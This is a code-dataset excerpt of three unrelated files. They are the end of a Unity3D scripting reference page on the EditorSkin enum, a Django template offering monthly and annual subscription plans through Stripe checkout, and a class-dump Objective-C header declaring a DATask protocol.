id="suggest_submit" class="blue-btn mr10">Submit suggestion</button> <p class="mb0"> <a class="cancel left lh42 cn">Cancel</a> </p> </div> </div> </div> <a href="" class="switch-link gray-btn sbtn left hide">Switch to Manual</a> <div class="clear"> </div> </div> <div class="subsection"> <div class="signature"> <div class="signature-JS sig-block"> </div> <div class="signature-CS sig-block"> </div> </div> </div> <div class="subsection"> <h2>Description</h2> <p>Enum that selects which skin to return from EditorGUIUtility.GetBuiltinSkin.</p> </div> <div class="subsection"> <h2>Variables</h2> <table class="list"> <tr><td class="lbl"><a href="EditorSkin.Game.html">Game</a></td><td class="desc">The skin used for game views.</td></tr> <tr><td class="lbl"><a href="EditorSkin.Inspector.html">Inspector</a></td><td class="desc">The skin used for inspectors.</td></tr> <tr><td class="lbl"><a href="EditorSkin.Scene.html">Scene</a></td><td class="desc">The skin used for scene views.</td></tr> </table> </div> </div> <div class="footer-wrapper"> <div class="footer clear"> <div class="copy">Copyright © 2014 Unity Technologies</div> <div class="menu"> <a href="http://unity3d.com/learn">Learn</a> <a href="http://unity3d.com/community">Community</a> <a href="http://unity3d.com/asset-store">Asset Store</a> <a href="https://store.unity3d.com">Buy</a> <a href="http://unity3d.com/unity/download">Download</a> </div> </div> </div> </div> </div> </div> </div> </body> </html>
rakuten/Uinty3D-Docs-zhcn
ScriptReference/EditorSkin.html
HTML
gpl-3.0
10,440
{% extends "base.html" %} {% block content %} <h1>Subscribe</h1> <table class="table"> <thead><tr> <th>Plan</th> <th style="text-align:center">Interval</th> <th style="text-align:center">Description</th> <th style="text-align:center">Price</th> <th style="text-align:center">Subscribe</th> </tr> </thead> <tbody> <tr> <td>Tomato Monthly Plan</td> <td style="text-align:center">Monthly</td> <td style="text-align:center">The monthly subscription plan to Tomato.</td> <td style="text-align:center">$1.99</td> <td style="text-align:center"> <form action="{% url 'subscription_charge' plan=monthly_plan.id %}" method="POST"> {% csrf_token %} <script src="//checkout.stripe.com/checkout.js" class="stripe-button" data-key="{{ key }}" data-email="{{ user.email }}" data-name="{{ monthly_plan.name }}" data-description="{{ monthly_plan.description }}" data-amount="{{ monthly_plan.price }}" data-label="Subscribe" data-locale="auto"></script> </form> </th> </tr> <tr> <td>Tomato Annual Plan</td> <td style="text-align:center">Yearly</td> <td style="text-align:center">The annual subscription plan to Tomato.</td> <td style="text-align:center">$19.99</td> <td style="text-align:center"> <form action="{% url 'subscription_charge' plan=annual_plan.id %}" method="POST"> {% csrf_token %} <script src="//checkout.stripe.com/checkout.js" class="stripe-button" data-key="{{ key }}" data-email="{{ user.email }}" data-name="{{ annual_plan.name }}" data-description="{{ annual_plan.description }}" data-amount="{{ annual_plan.price }}" data-label="Subscribe" data-locale="auto"></script> </form> </th> </tr> </tbody> </table> {% endblock %}
soasme/wikisensei
wikisensei/subscription/templates/subscription/index.html
HTML
gpl-3.0
2,147
/** * This header is generated by class-dump-z 0.2-1. * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. * * Source: /System/Library/PrivateFrameworks/DataAccess.framework/DataAccess */ #import "NSObject.h" @protocol DATask <NSObject> -(void)performTask; -(void)cancelTaskWithReason:(int)reason underlyingError:(id)error; @optional -(void)startModal; -(void)requestCancelTaskWithReason:(int)reason; -(BOOL)shouldHoldPowerAssertion; -(id)powerAssertionGroupIdentifier; -(void)setTaskManager:(id)manager; @end
hqt/theos
include/DataAccess/DATask.h
C
gpl-3.0
538